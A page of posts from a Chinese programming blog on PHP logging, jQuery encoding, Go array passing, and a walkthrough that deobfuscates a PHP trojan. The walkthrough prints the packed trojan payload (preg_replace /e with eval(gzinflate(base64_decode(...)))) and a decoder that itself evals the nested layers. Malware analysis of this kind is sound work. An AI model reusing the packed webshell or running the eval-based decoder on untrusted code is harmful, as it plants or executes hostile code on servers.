【PHP】写文件

Continue Read..
                $logFile = date('Y-m-d').'.txt';
                $msg = date('Y-m-d H:i:s').$M_toupiao_heimingdan->getLastSql().' >>> '.$_SERVER['HTTP_USER_AGENT']."\r\n";
                file_put_contents($logFile,$msg,FILE_APPEND );

声明:此文系舞林cuznwww.wulinlw.org)原创稿件,转载请保留版权

php木马preg_replace加密方式的解密套路

Continue Read..

前几天朋友发一个php脚本让解密下,脚本如下

preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'lZrNjuS4EYTvBvwOg8Ec7MtCEsmkhIHfZC6l+jEM78U2bDT26S0GvxDVZWOAPRSqqkviT2ZkRCTV3z7mf6y//fXLl1/+8uXrj486Ha/lx0eU41V/fJTX+N5+i/vxmo9X6n9b1uN1/L4c1y3P43Xrn/Vb+/u9v5fjvR7Xpjhe5fK99r99+n3+/D2ny/djrLS+XV8/j5ff7k/b23jl7ff4yXzv62nrzT/Zz/9b3/v+38d7n+86XnpbX3qb/7g2v8fvZ+uL/53vd93P/pZj3fXIdWn3Ht9zex331dL/nmuPcxy/161fE3mst+Z+TTyO962/N2zp3jbHgbWyce3C78+e29j7Ne0V7fpXH1f35j5OW2ONvr4277L3e7W+Nu69x77do/2Wnve2LuUnuL7tcelxaPdqHbyrHua+hjZ++71dq5fXwedMnJxPjR29Vtr8+dnXlI2JlTpKxJA86Vr/Fn0Nin3p82mfpV/f5m7jOhbK40RMHKOJfd24ZiLPR4xqZc1bj3Wbs41XiGe7PxPzlqsWK8VrYl8tr+RwcY5yj3Nbe2YPbbyW4zKPvSfuqdS3sOK/zR0zbR7VfiYe24iHMMke27xtLYr7Aww+Ow6Cdbbxlb+NMVNfU3vpnqXPG+BROHv1Mdoahc2GR/IXC+8715WOG+3l1TESYKTdI+y3urx1/LXxhN+tzy+cRt9b22P7rBjufa0B7loetb8dDt7B6ZN79p7XgAcqed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C4XDKL3rryQH9WyG04fsGDwpBv3bqb+9dvf/3Y/zRQbT3bMENh5QkBCtXCLEt1J2cajgIoLtSOvHP8KBDOBMXlNCD1HdAoUiw4eFVQDzc41j/uCpAT3Z8a3IBaLCN2aRU6ER+ej0wEI3AR2PjqiSBcKMUNqFj8fLxbW6qNsu2oZOgjI81ULVxkkET6NMnnmUaSFgsyX5MsRQ7rutizUIkyKKSGyp0mD9AJnrty5Q9j7vSoujKbmA8wukLyNYpQRRsx9SuVjd5mxGyC2+HmsBXJE3Nylem0iigXBo5MITE9hnAKBnJi8xL6646XYUh64znRqNgMZExYWfEjTj0rCJ1N07sUECEHKKBJPmw+biEzufZooQpzJDWv1Y8DTODKnzb3Jvr0v+zAWfpSSIIiEgAijNCI6fWSvPqUtmKzssTmRC3CViZUwfydmnN5k6tEnxKexAJ/CwD4MWoFHfOogISI3hTrX2MvFbMxgmi4+Udd+TGPiVg4eYAoTkzndsZEJeChhQCzg1abSQrn09ZxNoZsezI9PhoobkrgYSBtHnzwuxGYZ+FJ8XtQC4lMxz2peL4Lh5lKx5dpTsB6IkJtNMJYsSOsldsSjwHVqqp5DOE7uA1s+fbRplWAtmBLzUx6YTxiugjaYz2wO3Kj63oqJdJz8qN6PCf2oJ3zKA5aC5vB8PHZjnWAiwzH6jSbfWBAW0QbrgoU28pg700idzYPn4vQpnN/y43xEH8xnLsoI8PnY93Lq6Kc6GgvRFrfFMCt+klLM487P0vOj8XZiX8ADew/yLD5x8wWXSWOcnxexn4mfG+7o85wnzPPQe5+CZhsL6t6PgD2Hm2mfxolTHkO73fS7cQ14UTmGo8SbaPB5Ek7z638f8Aly2sYJbnHdL/3fUD79a8r2O76Tx+u/KenV5t2/fn/+5/brn77x71G/fPGzvfapH0y1T3JVf/7+Xw=='\x29\x29\x29\x3B","");

使用preg_replace的e参数执行匹配的内容(5.5版本废弃此参数),

解开16进制编码,

\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28

eval(gzinflate(base64_decode(

 

\x29\x29\x29\x3B

)));

 

网上都把eval换echo,这么搞只能手动一层层解,有的配合ob系列函数获取输出的,还有一层层写文件的,

这么搞其实都不怎么科学—。—!今天说说科学的套路,代码如下

<?php
$str = 'preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\'lZrNjuS4EYTvBvwOg8Ec7MtCEsmkhIHfZC6l+jEM78U2bDT26S0GvxDVZWOAPRSqqkviT2ZkRCTV3z7mf6y//fXLl1/+8uXrj486Ha/lx0eU41V/fJTX+N5+i/vxmo9X6n9b1uN1/L4c1y3P43Xrn/Vb+/u9v5fjvR7Xpjhe5fK99r99+n3+/D2ny/djrLS+XV8/j5ff7k/b23jl7ff4yXzv62nrzT/Zz/9b3/v+38d7n+86XnpbX3qb/7g2v8fvZ+uL/53vd93P/pZj3fXIdWn3Ht9zex331dL/nmuPcxy/161fE3mst+Z+TTyO962/N2zp3jbHgbWyce3C78+e29j7Ne0V7fpXH1f35j5OW2ONvr4277L3e7W+Nu69x77do/2Wnve2LuUnuL7tcelxaPdqHbyrHua+hjZ++71dq5fXwedMnJxPjR29Vtr8+dnXlI2JlTpKxJA86Vr/Fn0Nin3p82mfpV/f5m7jOhbK40RMHKOJfd24ZiLPR4xqZc1bj3Wbs41XiGe7PxPzlqsWK8VrYl8tr+RwcY5yj3Nbe2YPbbyW4zKPvSfuqdS3sOK/zR0zbR7VfiYe24iHMMke27xtLYr7Aww+Ow6Cdbbxlb+NMVNfU3vpnqXPG+BROHv1Mdoahc2GR/IXC+8715WOG+3l1TESYKTdI+y3urx1/LXxhN+tzy+cRt9b22P7rBjufa0B7loetb8dDt7B6ZN79p7XgAcqedVvj44d1cMN7G79uhbbViMNj66xNldQGw037RrFm9rOjNl0RPl5gb0ysNL2L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CtXCLEt1J2cajgIoLtSOvHP8KBDOBMXlNCD1HdAoUiw4eFVQDzc41j/uCpAT3Z8a3IBaLCN2aRU6ER+ej0wEI3AR2PjqiSBcKMUNqFj8fLxbW6qNsu2oZOgjI81ULVxkkET6NMnnmUaSFgsyX5MsRQ7rutizUIkyKKSGyp0mD9AJnrty5Q9j7vSoujKbmA8wukLyNYpQRRsx9SuVjd5mxGyC2+HmsBXJE3Nylem0iigXBo5MITE9hnAKBnJi8xL6646XYUh64znRqNgMZExYWfEjTj0rCJ1N07sUECEHKKBJPmw+biEzufZooQpzJDWv1Y8DTODKnzb3Jvr0v+zAWfpSSIIiEgAijNCI6fWSvPqUtmKzssTmRC3CViZUwfydmnN5k6tEnxKexAJ/CwD4MWoFHfOogISI3hTrX2MvFbMxgmi4+Udd+TGPiVg4eYAoTkzndsZEJeChhQCzg1abSQrn09ZxNoZsezI9PhoobkrgYSBtHnzwuxGYZ+FJ8XtQC4lMxz2peL4Lh5lKx5dpTsB6IkJtNMJYsSOsldsSjwHVqqp5DOE7uA1s+fbRplWAtmBLzUx6YTxiugjaYz2wO3Kj63oqJdJz8qN6PCf2oJ3zKA5aC5vB8PHZjnWAiwzH6jSbfWBAW0QbrgoU28pg700idzYPn4vQpnN/y43xEH8xnLsoI8PnY93Lq6Kc6GgvRFrfFMCt+klLM487P0vOj8XZiX8ADew/yLD5x8wWXSWOcnxexn4mfG+7o85wnzPPQe5+CZhsL6t6PgD2Hm2mfxolTHkO73fS7cQ14UTmGo8SbaPB5Ek7z638f8Aly2sYJbnHdL/3fUD79a8r2O76Tx+u/KenV5t2/fn/+5/brn77x71G/fPGzvfapH0y1T3JVf/7+Xw==\'\x29\x29\x29\x3B","");';

for ($i=0; ; $i++) { 
	//echo $i;
	$str = de($str);
}

function x16tostring($str){
	$str = str_replace('\\x', '0x', $str);
	//echo $str;
	$c = preg_match_all("/0x[0-9][a-zA-Z0-9]{1}/", $str, $matchs);
	//var_dump($matchs);
	if(!empty($c)){
		foreach($matchs[0] as $v){
			$chr = chr(hexdec($v));//var_dump($v,$chr);
			$chr_ascii = ord($chr);
			if(preg_match("/[a-zA-Z0-9\(\);_]/", $chr)){
				$str = str_replace($v, $chr, $str);
			}
		}
	}
	return $str;
}

function removep_reg_replace($str){
	$str = str_replace('preg_replace("/.*/e","', '', $str);
	$str = str_replace('","");', '', $str);
	return $str;
}
function eval2str($str){
	if(substr_count($str,'preg_replace')==1){
		$s = str_replace('eval(', 'if(!empty($tmp)){$tmp=null;}$tmp .=sprintf("%s",', $str);
	}else{
		$s = str_replace('eval(', 'if(empty($tmp)){$tmp=null;}$tmp .=sprintf("%s",', $str);
	}
	//echo $s;exit;
	eval($s);
	//echo $tmp;
	return $tmp;
}
function de($str){
	if(strpos($str, 'if(')){
		echo $str;
		exit;
	};
	if($str{0}=='p' && (substr_count($str,'preg_replace')==1)){
		return d1($str);
	}
	if($str{0}!='e' && (substr_count($str,'eval')==1)){
		return d2($str);
	}
	if($str{0}=='p' && (substr_count($str,'preg_replace')==2)){
		return d1($str);
	}

}
function d1($str){
	$t1 = x16tostring($str);
	//echo $t1;exit;
	$t2 = removep_reg_replace($t1);
	//echo $t2;exit;
	return eval2str($t2);
}
function d2($str){
	$str = str_replace('.=', '=', $str);
	$s = str_replace('eval(', 'if(empty($tmp)){$tmp=null;}$tmp .=sprintf("%s",', $str);
	//echo $s;exit;
	eval($s);
	return $tmp;
}
?>

1、先用x16tostring()函数把16进制转为字符串,注意里面的正则,我这里只转了可见字符,因为里面涉及代码的部分都是可见字符串的。

2、然后取出preg_replace第二个参数,就是要执行的代码了

3、这里就是我要说的套路,看eval2str()函数,直接把执行结果保存到变量里面去,拿出来就是要执行的代码了。

 

回到文章开头,那个串第一次解出来是这样

$x1q8zg  .= "\x70\x72\x65省略一大堆16进制字符串\x58\x69";
$x74f0u  .= "\x4e\x67\x55省略一大堆16进制字符串\x79\x54";
$xrlcxf  .= "\x71\x77\x4d省略一大堆16进制字符串\x31\x6c";
$xszkic  .= "\x78\x52\x30省略一大堆16进制字符串\x29\x3b";
eval($x1q8zg . $x74f0u . $xrlcxf . $xszkic);
这个串比较特殊,用d2()函数解,其实和d1()差不多,后面的有几种变型,反正用d1()都可以解出来,帖一点大概的样子。

preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'一串base64字符串'\x29\x29\x29\x3B","");preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'一串base64字符串'\x29\x29\x29\x3B","");

2个preg_replace的代码,

function dypzng47093($str) {
	$a = "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";
	$b = "\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65";
    return $b($a($str));
}$a = "\x62\x61\x73\x65\x36\x34\x5f\x65\x6e\x63\x6f\x64\x65";$b = "\x67\x7a\x64\x65\x66\x6c\x61\x74\x65";eval(dypzng47093("一串加密代码"));

1个函数,2个变量,1个eval


这个密文就这3种情况了,de()函数里写了对应情况的解密逻辑,文章开头的密文互相嵌套加密了11次。

加密的文件和解密的步骤我打个包

decode.rar

声明:此文系舞林cuznwww.wulinlw.org)原创稿件,转载请保留版权

【微信】微信分享功能(非官方) 破解版

Continue Read..

<input type="hidden" value="http://www.wulinlw.org" id='share_link'>
<input type="hidden" value='1412922457923.jpg' id='share_img'>
<input type="hidden" value='这里是舞林cuzn博客' id='share_title'>
<input type="hidden" value='这里是舞林cuzn博客' id='share_desc'>
<input type="hidden" value="http://www.wulinlw.org" id='share_callback_link'>

<script src="/gonggong/js/jquery.min.js"></script>
<script src="/gonggong/js/wxfenxiang.js"></script>

声明:此文系舞林cuznwww.wulinlw.org)原创稿件,转载请保留版权

jquery 编码/解码

Continue Read..

//编码

var SMSTD_data_name = $(this).attr("data-name");

if(curName=="opacl_detail"){

var as = '/bole/autotestdetail?gid='+data_value+'&&gname='+escape(SMSTD_data_name);

window.open(as);

}

//解码

var mst_name=unescape(GetQueryString("gname"));

$("#SMSTD_title").html('题组名称 : '+mst_name);

声明:此文系舞林cuznwww.wulinlw.org)原创稿件,转载请保留版权

golang 数组引用传递的坑

Continue Read..

最近看go调用函数时传引用的问题,看起来和其他语言一样的,测试的时候发现还是有区别的,

func main() {
	var box []int = []int{0, 1, 2}

	t(&box)
	fmt.Println(box)
}

func t(b *[]int) {
	fmt.Println(*b, *b[1])
	//b[1] = 8
}
出现错误提示:

invalid operation: b[1] (type *[]int does not support indexing)

类型*[]int不支持索引,因为*b是地址,将*b[1]改为&b,

可以看到真实的地址 0xc082026018

 

func main() {
	var box []int = []int{0, 1, 2}

	t(box)
	fmt.Println(box)
}

func t(b []int) {
	fmt.Println(b)
	b[1] = 8
}

打印出来结果是

[0 1 2]
[0 8 2]

发现函数里面的复制操作影响到了全局变量,但是我们并没有传引用b &[]int啊,找了一会发现了问题

http://stackoverflow.com/questions/2439453/go-using-a-pointer-to-array

我们传[]或[]int之类的不定长度空数组时,实际上就是传的引用地址,

我们将数组改为定长的在试试

func main() {
	var box [3]int = [3]int{0, 1, 2}

	t(box)
	fmt.Println(box)
}

func t(b [3]int) {
	fmt.Println(b)
	b[1] = 8
}

结果输出

[0 1 2]
[0 1 2]

正常了,现在传递的是copy的副本

在试试传引用,函数内存改变值

func main() {
	var box [3]int = [3]int{0, 1, 2}

	t(&box)
	fmt.Println(box)
}

func t(b *[3]int) {
	fmt.Println(b)
	b[1] = 8
}
输出
&[0 1 2]
[0 8 2]

结论:

传[]或[]int之类的不定长度空数组时,实际上就是传的引用地址,

传递一个数组引用到函数里的时候,go会生成一个切片并传递切片进去。

 

 

声明:此文系舞林cuznwww.wulinlw.org)原创稿件,转载请保留版权